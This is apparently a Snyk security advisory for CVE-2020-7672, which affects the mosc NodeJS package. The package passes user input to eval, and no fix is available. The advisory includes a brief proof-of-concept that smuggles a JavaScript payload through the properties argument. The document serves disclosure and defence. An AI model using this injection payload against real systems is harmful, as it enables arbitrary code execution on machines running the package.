Arbitrary Code Execution

Affecting mosc package, versions *

INTRODUCED: 5 JUN 2020 CVE-2020-7672 CWE-78 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `mosc`.

Overview

mosc is an a simple inline object model builder for NodeJS (A small port exists for client-side javascript).

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to `properties` argument is executed by the `eval` function, resulting in code execution.

PoC

```
var A = require("mosc"); var a = new A({}); var key = ""; var attack_code = "fs=require('fs');fs.writeFile('Song');" var
properties = "{a:*1*; " + attack_code + " //*}" var base =""; var a = a.parse_properties(key,properties,{},{})
```

References

- Vulnerable Code

HIGH

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Confidentiality	HIGH

See more

NVD 8.6 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-MOSC-571492
Published	5 Jun 2020
Disclosed	5 Jun 2020
Credit	JHU System Security Lab

Report a new vulnerability | Found a mistake?

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.